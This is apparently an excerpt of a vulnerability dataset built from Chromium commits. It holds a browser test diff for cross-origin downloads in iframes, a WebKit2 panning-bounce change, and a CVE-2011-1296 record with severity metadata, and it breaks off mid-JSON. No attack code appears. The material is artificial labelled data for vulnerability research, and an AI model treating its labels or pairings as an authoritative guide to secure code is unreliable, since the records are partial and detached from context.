@@ -3563,6 +3563,67 @@ IN_PROC_BROWSER_TEST_F(DownloadTest, FileExistenceCheckOpeningDownloadsPage) {
.WaitForEvent();
}
+// Checks that the navigation resulting from a cross origin download navigates
+// the correct iframe.
+IN_PROC_BROWSER_TEST_F(DownloadTest, CrossOriginDownloadNavigatesIframe) {
+ EmbeddedTestServer origin_one;
+ EmbeddedTestServer origin_two;
+ EmbeddedTestServer origin_three;
+
+ origin_one.ServeFilesFromDirectory(GetTestDataDirectory());
+ origin_two.ServeFilesFromDirectory(GetTestDataDirectory());
+ origin_three.ServeFilesFromDirectory(GetTestDataDirectory());
+ ASSERT_TRUE(origin_one.InitializeAndListen());
+ ASSERT_TRUE(origin_two.InitializeAndListen());
+ ASSERT_TRUE(origin_three.InitializeAndListen());
+
+ // We load a page on origin_one which iframes a page from origin_two which
+ // downloads a file that redirects to origin_three.
+ GURL download_url =
+ origin_two.GetURL(std::string("/redirect?") +
+ origin_three.GetURL("/downloads/message.html").spec());
+ GURL referrer_url = origin_two.GetURL(
+ std::string("/downloads/download-attribute.html?target=") +
+ download_url.spec());
+ GURL main_url =
+ origin_one.GetURL(std::string("/downloads/page-with-frame.html?url=") +
+ referrer_url.spec());
+
+ origin_two.RegisterRequestHandler(
+ base::BindRepeating(&ServerRedirectRequestHandler));
+
+ origin_one.StartAcceptingConnections();
+ origin_two.StartAcceptingConnections();
+ origin_three.StartAcceptingConnections();
+
+ ui_test_utils::NavigateToURL(browser(), main_url);
+
+ WebContents* web_contents =
+ browser()->tab_strip_model()->GetActiveWebContents();
+ ASSERT_TRUE(web_contents != NULL);
+ content::RenderFrameHost* render_frame_host = web_contents->GetMainFrame();
+ ASSERT_TRUE(render_frame_host != NULL);
+
+ // Clicking the <a download> in the iframe should navigate the iframe,
+ // not the main frame.
+ base::string16 expected_title(base::UTF8ToUTF16("Loaded as iframe"));
+ base::string16 failed_title(base::UTF8ToUTF16("Loaded as main frame"));
+ content::TitleWatcher title_watcher(web_contents, expected_title);
+ title_watcher.AlsoWaitForTitle(failed_title);
+ render_frame_host->ExecuteJavaScriptForTests(
+ base::ASCIIToUTF16("runTest();"));
+ ASSERT_EQ(expected_title, title_watcher.WaitAndGetTitle());
+
+ // Also verify that there's no download.
+ std::vector<DownloadItem*> downloads;
+ DownloadManagerForBrowser(browser())->GetAllDownloads(&downloads);
+ ASSERT_EQ(0u, downloads.size());
+
+ ASSERT_TRUE(origin_one.ShutdownAndWaitUntilComplete());
+ ASSERT_TRUE(origin_two.ShutdownAndWaitUntilComplete());
+ ASSERT_TRUE(origin_three.ShutdownAndWaitUntilComplete());
+}
+
#if defined(FULL_SAFE_BROWSING)
namespace {
|
Chrome
|
2f81d000fdb5331121cba7ff81dfaaec25b520a5
|
6aff2928bf6a19ea5069ae38405704c377aff56e
| 0
|
content::DownloadTestObserver* DangerousDownloadWaiter(
Browser* browser,
int num_downloads,
content::DownloadTestObserver::DangerousDownloadAction
dangerous_download_action) {
DownloadManager* download_manager = DownloadManagerForBrowser(browser);
return new content::DownloadTestObserverTerminal(
download_manager, num_downloads, dangerous_download_action);
}
|
106,429
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2011-05
| null | 0
|
https://github.com/chromium/chromium/commit/df831400bcb63db4259b5858281b1727ba972a2a
|
df831400bcb63db4259b5858281b1727ba972a2a
|
WebKit2: Support window bounce when panning.
https://bugs.webkit.org/show_bug.cgi?id=58065
<rdar://problem/9244367>
Reviewed by Adam Roben.
Make gestureDidScroll synchronous, as once we scroll, we need to know
whether or not we are at the beginning or end of the scrollable document.
If we are at either end of the scrollable document, we call the Windows 7
API to bounce the window to give an indication that you are past an end
of the document.
* UIProcess/WebPageProxy.cpp:
(WebKit::WebPageProxy::gestureDidScroll): Pass a boolean for the reply, and return it.
* UIProcess/WebPageProxy.h:
* UIProcess/win/WebView.cpp:
(WebKit::WebView::WebView): Inititalize a new variable.
(WebKit::WebView::onGesture): Once we send the message to scroll, check if have gone to
an end of the document, and if we have, bounce the window.
* UIProcess/win/WebView.h:
* WebProcess/WebPage/WebPage.h:
* WebProcess/WebPage/WebPage.messages.in: GestureDidScroll is now sync.
* WebProcess/WebPage/win/WebPageWin.cpp:
(WebKit::WebPage::gestureDidScroll): When we are done scrolling, check if we have a vertical
scrollbar and if we are at the beginning or the end of the scrollable document.
git-svn-id: svn://svn.chromium.org/blink/trunk@83197 bbb929c8-8fbe-4397-9dbb-9b2b20218538
| 0
|
third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.cpp
|
{"sha": "394aac509603ac833b379946cb1be38a0bb5418a", "filename": "third_party/WebKit/Source/WebKit2/ChangeLog", "status": "modified", "additions": 29, "deletions": 0, "changes": 29, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/ChangeLog", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/ChangeLog", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/ChangeLog?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -1,3 +1,32 @@\n+2011-04-07 Brian Weinstein <bweinstein@apple.com>\n+\n+ Reviewed by Adam Roben.\n+\n+ WebKit2: Support window bounce when panning.\n+ https://bugs.webkit.org/show_bug.cgi?id=58065\n+ <rdar://problem/9244367>\n+ \n+ Make gestureDidScroll synchronous, as once we scroll, we need to know\n+ whether or not we are at the beginning or end of the scrollable document.\n+ \n+ If we are at either end of the scrollable document, we call the Windows 7\n+ API to bounce the window to give an indication that you are past an end\n+ of the document.\n+\n+ * UIProcess/WebPageProxy.cpp:\n+ (WebKit::WebPageProxy::gestureDidScroll): Pass a boolean for the reply, and return it.\n+ * UIProcess/WebPageProxy.h:\n+ * UIProcess/win/WebView.cpp:\n+ (WebKit::WebView::WebView): Inititalize a new variable.\n+ (WebKit::WebView::onGesture): Once we send the message to scroll, check if have gone to\n+ an end of the document, and if we have, bounce the window.\n+ * UIProcess/win/WebView.h:\n+ * WebProcess/WebPage/WebPage.h:\n+ * WebProcess/WebPage/WebPage.messages.in: GestureDidScroll is now sync.\n+ * WebProcess/WebPage/win/WebPageWin.cpp:\n+ (WebKit::WebPage::gestureDidScroll): When we are done scrolling, check if we have a vertical\n+ scrollbar and if we are at the beginning or the end of the scrollable document.\n+\n 2011-04-07 Chang Shu <cshu@webkit.org>\n \n Reviewed by Darin Adler."}<_**next**_>{"sha": "49c0672563b0fec288c00667b638a243b3fb1fed", "filename": "third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.cpp", "status": "modified", "additions": 5, "deletions": 3, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.cpp", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.cpp?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -670,14 +670,16 @@ String WebPageProxy::getSelectedText()\n \n bool WebPageProxy::gestureWillBegin(const IntPoint& point)\n {\n- bool canBeginPanning;\n+ bool canBeginPanning = false;\n process()->sendSync(Messages::WebPage::GestureWillBegin(point), Messages::WebPage::GestureWillBegin::Reply(canBeginPanning), m_pageID);\n return canBeginPanning;\n }\n \n-void WebPageProxy::gestureDidScroll(const IntSize& size)\n+bool WebPageProxy::gestureDidScroll(const IntSize& size)\n {\n- process()->send(Messages::WebPage::GestureDidScroll(size), m_pageID);\n+ bool atBeginningOrEndOfScrollableDocument = false;\n+ process()->sendSync(Messages::WebPage::GestureDidScroll(size), Messages::WebPage::GestureDidScroll::Reply(atBeginningOrEndOfScrollableDocument), m_pageID);\n+ return atBeginningOrEndOfScrollableDocument;\n }\n \n void WebPageProxy::gestureDidEnd()"}<_**next**_>{"sha": "68688222abc5d767ee9d636ae7e59b4191c7e09c", "filename": "third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.h", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/UIProcess/WebPageProxy.h?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -274,7 +274,7 @@ class WebPageProxy : public APIObject, public WebPopupMenuProxy::Client {\n String getSelectedText();\n \n bool gestureWillBegin(const WebCore::IntPoint&);\n- void gestureDidScroll(const WebCore::IntSize&);\n+ bool gestureDidScroll(const WebCore::IntSize&);\n void gestureDidEnd();\n #endif\n #if ENABLE(TILED_BACKING_STORE)"}<_**next**_>{"sha": "4a2ec5f2b870ae6dc6183ec2f3a1f5a0b1fbef63", "filename": "third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.cpp", "status": "modified", "additions": 27, "deletions": 6, "changes": 33, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.cpp", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.cpp?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -74,6 +74,11 @@ SOFT_LINK_OPTIONAL(USER32, GetGestureInfo, BOOL, WINAPI, (HGESTUREINFO, PGESTURE\n SOFT_LINK_OPTIONAL(USER32, SetGestureConfig, BOOL, WINAPI, (HWND, DWORD, UINT, PGESTURECONFIG, UINT));\n SOFT_LINK_OPTIONAL(USER32, CloseGestureInfoHandle, BOOL, WINAPI, (HGESTUREINFO));\n \n+SOFT_LINK_LIBRARY(Uxtheme);\n+SOFT_LINK_OPTIONAL(Uxtheme, BeginPanningFeedback, BOOL, WINAPI, (HWND));\n+SOFT_LINK_OPTIONAL(Uxtheme, EndPanningFeedback, BOOL, WINAPI, (HWND, BOOL));\n+SOFT_LINK_OPTIONAL(Uxtheme, UpdatePanningFeedback, BOOL, WINAPI, (HWND, LONG, LONG, BOOL));\n+\n using namespace WebCore;\n \n namespace WebKit {\n@@ -269,6 +274,7 @@ WebView::WebView(RECT rect, WebContext* context, WebPageGroup* pageGroup, HWND p\n , m_findIndicatorCallbackContext(0)\n , m_lastPanX(0)\n , m_lastPanY(0)\n+ , m_overPanY(0)\n {\n registerWebViewWindowClass();\n \n@@ -522,8 +528,11 @@ LRESULT WebView::onGesture(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam\n {\n ASSERT(GetGestureInfoPtr());\n ASSERT(CloseGestureInfoHandlePtr());\n+ ASSERT(UpdatePanningFeedbackPtr());\n+ ASSERT(BeginPanningFeedbackPtr());\n+ ASSERT(EndPanningFeedbackPtr());\n \n- if (!GetGestureInfoPtr() || !CloseGestureInfoHandlePtr()) {\n+ if (!GetGestureInfoPtr() || !CloseGestureInfoHandlePtr() || !UpdatePanningFeedbackPtr() || !BeginPanningFeedbackPtr() || !EndPanningFeedbackPtr()) {\n handled = false;\n return 0;\n }\n@@ -557,12 +566,24 @@ LRESULT WebView::onGesture(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam\n m_lastPanX = currentX;\n m_lastPanY = currentY;\n \n- m_page->gestureDidScroll(IntSize(deltaX, deltaY));\n+ // Calculate the overpan for window bounce.\n+ m_overPanY -= deltaY;\n+\n+ bool shouldBounceWindow = m_page->gestureDidScroll(IntSize(deltaX, deltaY));\n+\n+ if (gi.dwFlags & GF_BEGIN) {\n+ BeginPanningFeedbackPtr()(m_window);\n+ m_overPanY = 0;\n+ } else if (gi.dwFlags & GF_END) {\n+ EndPanningFeedbackPtr()(m_window, true);\n+ m_overPanY = 0;\n+ }\n+\n+ // FIXME: Support horizontal window bounce - <http://webkit.org/b/58068>.\n+ // FIXME: Window Bounce doesn't undo until user releases their finger - <http://webkit.org/b/58069>.\n \n- // FIXME <rdar://problem/9244367>: Support window bounce (both horizontal and vertical), \n- // if the uesr has scrolled past the end of the document. scollByPanGesture would need to \n- // be a sync message to support this, because we would need to know how far we scrolled \n- // past the end of the document.\n+ if (shouldBounceWindow)\n+ UpdatePanningFeedbackPtr()(m_window, 0, m_overPanY, gi.dwFlags & GF_INERTIA);\n \n CloseGestureInfoHandlePtr()(gestureHandle);\n "}<_**next**_>{"sha": "4b0ac915878224d7e64c86fd305a308e2a9c39e5", "filename": "third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.h", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.h", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/UIProcess/win/WebView.h?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -226,6 +226,8 @@ class WebView : public APIObject, public PageClient, WebCore::WindowMessageListe\n \n int m_lastPanX;\n int m_lastPanY;\n+\n+ int m_overPanY;\n };\n \n } // namespace WebKit"}<_**next**_>{"sha": "e02ba9ce5befac51d324bbc2d2e85edd47b48997", "filename": "third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.h", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.h?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -323,8 +323,8 @@ class WebPage : public APIObject, public CoreIPC::MessageSender<WebPage> {\n void firstRectForCharacterInSelectedRange(const uint64_t characterPosition, WebCore::IntRect& resultRect);\n void getSelectedText(WTF::String&);\n \n- void gestureWillBegin(const WebCore::IntPoint& point, bool& canBeginPanning);\n- void gestureDidScroll(const WebCore::IntSize& size);\n+ void gestureWillBegin(const WebCore::IntPoint&, bool& canBeginPanning);\n+ void gestureDidScroll(const WebCore::IntSize&, bool& atBeginningOrEndOfDocument);\n void gestureDidEnd();\n #endif\n "}<_**next**_>{"sha": "12974776ab2bcbabd2da9792cca8cc2b1b51c97a", "filename": "third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.messages.in", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.messages.in", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.messages.in", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/WebPage.messages.in?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -203,7 +203,7 @@ messages -> WebPage {\n GetSelectedText() -> (WTF::String text)\n \n GestureWillBegin(WebCore::IntPoint point) -> (bool canBeginPanning)\n- GestureDidScroll(WebCore::IntSize size)\n+ GestureDidScroll(WebCore::IntSize size) -> (bool atBeginningOrEndOfScrollableDocument)\n GestureDidEnd()\n #endif\n #if PLATFORM(QT)"}<_**next**_>{"sha": "50003b15b8fb871395cde2ee37246ff61a34f96a", "filename": "third_party/WebKit/Source/WebKit2/WebProcess/WebPage/win/WebPageWin.cpp", "status": "modified", "additions": 17, "deletions": 1, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/win/WebPageWin.cpp", "raw_url": "https://github.com/chromium/chromium/raw/df831400bcb63db4259b5858281b1727ba972a2a/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/win/WebPageWin.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/WebProcess/WebPage/win/WebPageWin.cpp?ref=df831400bcb63db4259b5858281b1727ba972a2a", "patch": "@@ -401,12 +401,28 @@ void WebPage::gestureWillBegin(const WebCore::IntPoint& point, bool& canBeginPan\n canBeginPanning = false;\n }\n \n-void WebPage::gestureDidScroll(const WebCore::IntSize& size)\n+void WebPage::gestureDidScroll(const IntSize& size, bool& atBeginningOrEndOfScrollableDocument)\n {\n+ atBeginningOrEndOfScrollableDocument = false;\n+\n if (!m_gestureTargetNode || !m_gestureTargetNode->renderer() || !m_gestureTargetNode->renderer()->enclosingLayer())\n return;\n \n m_gestureTargetNode->renderer()->enclosingLayer()->scrollByRecursively(size.width(), size.height());\n+\n+ Frame* frame = m_page->mainFrame();\n+ if (!frame)\n+ return;\n+\n+ ScrollView* view = frame->view();\n+ if (!view)\n+ return;\n+\n+ Scrollbar* verticalScrollbar = view->verticalScrollbar();\n+ if (!verticalScrollbar)\n+ return;\n+\n+ atBeginningOrEndOfScrollableDocument = !verticalScrollbar->currentPos() || verticalScrollbar->currentPos() >= verticalScrollbar->maximum();\n }\n \n void WebPage::gestureDidEnd()"}
|
WebPageProxy::WebPageProxy(PageClient* pageClient, WebContext* context, WebPageGroup* pageGroup, uint64_t pageID)
: m_pageClient(pageClient)
, m_context(context)
, m_pageGroup(pageGroup)
, m_mainFrame(0)
, m_userAgent(standardUserAgent())
, m_geolocationPermissionRequestManager(this)
, m_estimatedProgress(0)
, m_isInWindow(m_pageClient->isViewInWindow())
, m_isVisible(m_pageClient->isViewVisible())
, m_backForwardList(WebBackForwardList::create(this))
, m_textZoomFactor(1)
, m_pageZoomFactor(1)
, m_viewScaleFactor(1)
, m_drawsBackground(true)
, m_drawsTransparentBackground(false)
, m_areMemoryCacheClientCallsEnabled(true)
, m_useFixedLayout(false)
, m_isValid(true)
, m_isClosed(false)
, m_isInPrintingMode(false)
, m_isPerformingDOMPrintOperation(false)
, m_inDecidePolicyForMIMEType(false)
, m_syncMimeTypePolicyActionIsValid(false)
, m_syncMimeTypePolicyAction(PolicyUse)
, m_syncMimeTypePolicyDownloadID(0)
, m_inDecidePolicyForNavigationAction(false)
, m_syncNavigationActionPolicyActionIsValid(false)
, m_syncNavigationActionPolicyAction(PolicyUse)
, m_syncNavigationActionPolicyDownloadID(0)
, m_processingWheelEvent(false)
, m_processingMouseMoveEvent(false)
, m_pageID(pageID)
#if PLATFORM(MAC)
, m_isSmartInsertDeleteEnabled(TextChecker::isSmartInsertDeleteEnabled())
#endif
, m_spellDocumentTag(0)
, m_hasSpellDocumentTag(false)
, m_pendingLearnOrIgnoreWordMessageCount(0)
, m_mainFrameHasCustomRepresentation(false)
, m_currentDragOperation(DragOperationNone)
, m_mainFrameHasHorizontalScrollbar(false)
, m_mainFrameHasVerticalScrollbar(false)
, m_mainFrameIsPinnedToLeftSide(false)
, m_mainFrameIsPinnedToRightSide(false)
{
#ifndef NDEBUG
webPageProxyCounter.increment();
#endif
WebContext::statistics().wkPageCount++;
m_pageGroup->addPage(this);
}
|
WebPageProxy::WebPageProxy(PageClient* pageClient, WebContext* context, WebPageGroup* pageGroup, uint64_t pageID)
: m_pageClient(pageClient)
, m_context(context)
, m_pageGroup(pageGroup)
, m_mainFrame(0)
, m_userAgent(standardUserAgent())
, m_geolocationPermissionRequestManager(this)
, m_estimatedProgress(0)
, m_isInWindow(m_pageClient->isViewInWindow())
, m_isVisible(m_pageClient->isViewVisible())
, m_backForwardList(WebBackForwardList::create(this))
, m_textZoomFactor(1)
, m_pageZoomFactor(1)
, m_viewScaleFactor(1)
, m_drawsBackground(true)
, m_drawsTransparentBackground(false)
, m_areMemoryCacheClientCallsEnabled(true)
, m_useFixedLayout(false)
, m_isValid(true)
, m_isClosed(false)
, m_isInPrintingMode(false)
, m_isPerformingDOMPrintOperation(false)
, m_inDecidePolicyForMIMEType(false)
, m_syncMimeTypePolicyActionIsValid(false)
, m_syncMimeTypePolicyAction(PolicyUse)
, m_syncMimeTypePolicyDownloadID(0)
, m_inDecidePolicyForNavigationAction(false)
, m_syncNavigationActionPolicyActionIsValid(false)
, m_syncNavigationActionPolicyAction(PolicyUse)
, m_syncNavigationActionPolicyDownloadID(0)
, m_processingWheelEvent(false)
, m_processingMouseMoveEvent(false)
, m_pageID(pageID)
#if PLATFORM(MAC)
, m_isSmartInsertDeleteEnabled(TextChecker::isSmartInsertDeleteEnabled())
#endif
, m_spellDocumentTag(0)
, m_hasSpellDocumentTag(false)
, m_pendingLearnOrIgnoreWordMessageCount(0)
, m_mainFrameHasCustomRepresentation(false)
, m_currentDragOperation(DragOperationNone)
, m_mainFrameHasHorizontalScrollbar(false)
, m_mainFrameHasVerticalScrollbar(false)
, m_mainFrameIsPinnedToLeftSide(false)
, m_mainFrameIsPinnedToRightSide(false)
{
#ifndef NDEBUG
webPageProxyCounter.increment();
#endif
WebContext::statistics().wkPageCount++;
m_pageGroup->addPage(this);
}
|
C
| null | null | null |
@@ -670,14 +670,16 @@ String WebPageProxy::getSelectedText()
bool WebPageProxy::gestureWillBegin(const IntPoint& point)
{
- bool canBeginPanning;
+ bool canBeginPanning = false;
process()->sendSync(Messages::WebPage::GestureWillBegin(point), Messages::WebPage::GestureWillBegin::Reply(canBeginPanning), m_pageID);
return canBeginPanning;
}
-void WebPageProxy::gestureDidScroll(const IntSize& size)
+bool WebPageProxy::gestureDidScroll(const IntSize& size)
{
- process()->send(Messages::WebPage::GestureDidScroll(size), m_pageID);
+ bool atBeginningOrEndOfScrollableDocument = false;
+ process()->sendSync(Messages::WebPage::GestureDidScroll(size), Messages::WebPage::GestureDidScroll::Reply(atBeginningOrEndOfScrollableDocument), m_pageID);
+ return atBeginningOrEndOfScrollableDocument;
}
void WebPageProxy::gestureDidEnd()
|
Chrome
|
df831400bcb63db4259b5858281b1727ba972a2a
|
ed03cbf291b69831f85347962d190a391c8b6bdc
| 0
|
WebPageProxy::WebPageProxy(PageClient* pageClient, WebContext* context, WebPageGroup* pageGroup, uint64_t pageID)
: m_pageClient(pageClient)
, m_context(context)
, m_pageGroup(pageGroup)
, m_mainFrame(0)
, m_userAgent(standardUserAgent())
, m_geolocationPermissionRequestManager(this)
, m_estimatedProgress(0)
, m_isInWindow(m_pageClient->isViewInWindow())
, m_isVisible(m_pageClient->isViewVisible())
, m_backForwardList(WebBackForwardList::create(this))
, m_textZoomFactor(1)
, m_pageZoomFactor(1)
, m_viewScaleFactor(1)
, m_drawsBackground(true)
, m_drawsTransparentBackground(false)
, m_areMemoryCacheClientCallsEnabled(true)
, m_useFixedLayout(false)
, m_isValid(true)
, m_isClosed(false)
, m_isInPrintingMode(false)
, m_isPerformingDOMPrintOperation(false)
, m_inDecidePolicyForMIMEType(false)
, m_syncMimeTypePolicyActionIsValid(false)
, m_syncMimeTypePolicyAction(PolicyUse)
, m_syncMimeTypePolicyDownloadID(0)
, m_inDecidePolicyForNavigationAction(false)
, m_syncNavigationActionPolicyActionIsValid(false)
, m_syncNavigationActionPolicyAction(PolicyUse)
, m_syncNavigationActionPolicyDownloadID(0)
, m_processingWheelEvent(false)
, m_processingMouseMoveEvent(false)
, m_pageID(pageID)
#if PLATFORM(MAC)
, m_isSmartInsertDeleteEnabled(TextChecker::isSmartInsertDeleteEnabled())
#endif
, m_spellDocumentTag(0)
, m_hasSpellDocumentTag(false)
, m_pendingLearnOrIgnoreWordMessageCount(0)
, m_mainFrameHasCustomRepresentation(false)
, m_currentDragOperation(DragOperationNone)
, m_mainFrameHasHorizontalScrollbar(false)
, m_mainFrameHasVerticalScrollbar(false)
, m_mainFrameIsPinnedToLeftSide(false)
, m_mainFrameIsPinnedToRightSide(false)
{
#ifndef NDEBUG
webPageProxyCounter.increment();
#endif
WebContext::statistics().wkPageCount++;
m_pageGroup->addPage(this);
}
|
184,130
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-1296
|
https://www.cvedetails.com/cve/CVE-2011-1296/
|
CWE-20
|
Low
|
Partial
|
Partial
| null |
2011-03-25
| 7.5
|
Google Chrome before 10.0.648.204 does not properly handle SVG text, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors that lead to a *stale pointer.*
|
2017-09-18
|
DoS
| 3
|
https://github.com/chromium/chromium/commit/c90c6ca59378d7e86d1a2f28fe96bada35df1508
|
c90c6ca59378d7e86d1a2f28fe96bada35df1508
|
Rename the TabContentWrapper pieces to be "TabHelper"s. (Except for the PasswordManager... for now.) Also, just pre-create them up-front. It saves us effort, as they're all going to be eventually created anyway, so being lazy saves us nothing and creates headaches since the rules about what can be lazy differ from feature to feature.
BUG=71097
TEST=zero visible change
Review URL: http://codereview.chromium.org/6480117
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@75170 0039d316-1c4b-4281-b951-d872f2087c98
| 3
|
chrome/browser/ui/find_bar/find_bar_controller.cc
|
{"sha": "adc563b70e1411d23c19c0d0f8d743c57b558b67", "filename": "chrome/browser/automation/automation_provider.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/automation/automation_provider.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/automation/automation_provider.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/automation/automation_provider.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -78,8 +78,8 @@\n #include \"chrome/browser/ui/app_modal_dialogs/app_modal_dialog_queue.h\"\n #include \"chrome/browser/ui/find_bar/find_bar.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n #include \"chrome/browser/ui/find_bar/find_notification_details.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/login/login_prompt.h\"\n #include \"chrome/browser/ui/omnibox/location_bar.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n@@ -494,7 +494,7 @@ void AutomationProvider::SendFindRequest(\n TabContentsWrapper* wrapper =\n TabContentsWrapper::GetCurrentWrapperForContents(tab_contents);\n if (wrapper)\n- wrapper->GetFindManager()->set_current_find_request_id(request_id);\n+ wrapper->find_tab_helper()->set_current_find_request_id(request_id);\n \n tab_contents->render_view_host()->StartFinding(\n FindInPageNotificationObserver::kFindInPageRequestId,"}<_**next**_>{"sha": "c6e7f181923a50ed069a7673a63617ef451b7226", "filename": "chrome/browser/ui/browser.cc", "status": "modified", "additions": 7, "deletions": 4, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/browser.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/browser.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/browser.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -80,7 +80,7 @@\n #include \"chrome/browser/ui/browser_navigator.h\"\n #include \"chrome/browser/ui/find_bar/find_bar.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/omnibox/location_bar.h\"\n #include \"chrome/browser/ui/options/options_window.h\"\n #include \"chrome/browser/ui/search_engines/search_engine_tab_helper.h\"\n@@ -3275,6 +3275,9 @@ void Browser::URLStarredChanged(TabContentsWrapper* source, bool starred) {\n window_->SetStarredState(starred);\n }\n \n+///////////////////////////////////////////////////////////////////////////////\n+// Browser, SearchEngineTabHelperDelegate implementation:\n+\n void Browser::ConfirmSetDefaultSearchProvider(\n TabContentsWrapper* tab_contents,\n TemplateURL* template_url,\n@@ -4187,9 +4190,9 @@ void Browser::FindInPage(bool find_next, bool forward_direction) {\n find_text = GetFindPboardText();\n #endif\n GetSelectedTabContentsWrapper()->\n- GetFindManager()->StartFinding(find_text,\n- forward_direction,\n- false); // Not case sensitive.\n+ find_tab_helper()->StartFinding(find_text,\n+ forward_direction,\n+ false); // Not case sensitive.\n }\n }\n "}<_**next**_>{"sha": "6f3a44873e197e0e41d18bf91cd4633362dd35a9", "filename": "chrome/browser/ui/cocoa/find_bar/find_bar_cocoa_controller.mm", "status": "modified", "additions": 15, "deletions": 14, "changes": 29, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/cocoa/find_bar/find_bar_cocoa_controller.mm", "raw_url": 